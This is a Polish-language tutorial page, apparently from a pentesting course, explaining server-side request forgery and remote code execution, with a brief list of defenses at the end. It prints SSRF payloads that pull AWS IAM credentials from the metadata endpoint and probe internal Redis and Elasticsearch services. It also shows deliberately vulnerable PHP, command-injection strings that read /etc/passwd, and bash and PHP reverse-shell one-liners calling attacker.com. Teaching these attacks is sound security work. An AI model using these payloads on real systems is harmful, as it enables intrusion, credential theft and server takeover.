Skip to main content

🚨 Server-Side Request Forgery (SSRF) & Remote Code Execution (RCE)

SSRF i RCE to jedne z najbardziej niebezpiecznych podatności w aplikacjach webowych. Pozwalają atakującym na wykonywanie nieautoryzowanych żądań wewnętrznych oraz zdalne wykonywanie kodu na serwerze.


🔍 Server-Side Request Forgery (SSRF)

SSRF pozwala atakującemu na manipulowanie żądaniami HTTP wysyłanymi przez serwer. Może to prowadzić do ujawnienia wewnętrznych zasobów, eksfiltracji danych lub eskalacji ataku.

1️⃣ SSRF w chmurze

W środowiskach chmurowych, takich jak AWS, Google Cloud czy Azure, SSRF może być wykorzystany do uzyskania kluczy dostępu i przejęcia infrastruktury.

Przykładowe podatne żądanie

Aplikacja pobiera obraz z podanego przez użytkownika URL:

file_get_contents($_GET['url']);

Atakujący może użyć tego mechanizmu do dostępu do metadanych chmury AWS:

http://example.com?url=http://169.254.169.254/latest/meta-data/

Przykładowa odpowiedź może zawierać:

instance-id: i-1234567890abcdef
role-name: admin-role

Aby pobrać klucz dostępu AWS:

http://example.com?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role

Jeśli odpowiedź zwróci klucz AWS, atakujący może uzyskać pełen dostęp do konta chmurowego.

2️⃣ Wykorzystanie SSRF do dostępu do wewnętrznych zasobów

SSRF można także wykorzystać do skanowania wewnętrznych systemów lub eksploracji API:

http://example.com?url=http://127.0.0.1:8080/admin

Jeśli serwer odpowiada, atakujący może uzyskać dostęp do zasobów, które nie powinny być publiczne.

SSRF może być również wykorzystane do ataków na bazy danych, np. Redis:

http://example.com?url=redis://127.0.0.1:6379/

Lub do ataku na usługi HTTP, np. Elasticsearch:

http://example.com?url=http://localhost:9200/_search?q=*

💥 Remote Code Execution (RCE)

RCE to krytyczna podatność, która pozwala atakującemu na wykonywanie dowolnych komend systemowych na serwerze.

1️⃣ Wykrywanie podatności RCE

Najczęstsze miejsca podatne na RCE to:

  • Niebezpieczne funkcje w PHP: eval(), system(), exec()
  • Nieprawidłowa obsługa wejścia użytkownika w Python, Node.js, Bash
  • Źle skonfigurowane API umożliwiające zdalne wywołanie funkcji

Przykładowy podatny kod w PHP

$cmd = $_GET['cmd'];
system($cmd);

Atakujący może wykonać polecenie systemowe:

http://example.com?cmd=whoami

2️⃣ Eksploatacja RCE

Wstrzykiwanie komend systemowych

Jeśli aplikacja wykonuje komendy systemowe bez odpowiedniego filtrowania, można je manipulować:

http://example.com?cmd=ls

Jeżeli aplikacja używa operatorów &&, |, ;, można łączyć komendy:

http://example.com?cmd=whoami;id;cat /etc/passwd

Uzyskanie Reverse Shell

Jeśli aplikacja jest podatna na RCE, można uzyskać pełną kontrolę nad serwerem poprzez otwarcie sesji odwrotnej (reverse shell).

Atakujący uruchamia listener na swoim serwerze:

nc -lvnp 4444

Następnie wykonuje na podatnym serwerze polecenie otwierające sesję:

bash -i >& /dev/tcp/attacker.com/4444 0>&1

Jeśli serwer obsługuje PHP, można wykonać:

php -r '$sock=fsockopen("attacker.com",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

🔐 Jak zabezpieczyć aplikację przed SSRF i RCE?

Blokowanie dostępu do adresów lokalnych (127.0.0.1, 169.254.169.254)Walidacja i whitelisting URL w przypadku pobierania zasobówWyłączanie niebezpiecznych funkcji w PHP (exec(), system())Stosowanie firewalli aplikacyjnych (WAF) do blokowania podejrzanych żądańOgraniczenie uprawnień procesów działających w systemie


SSRF i RCE to podatności, które mogą prowadzić do pełnego przejęcia systemu. Kolejnym krokiem będzie analiza podatności Platformy do ćwiczeń i laby pentesterskie! 🚀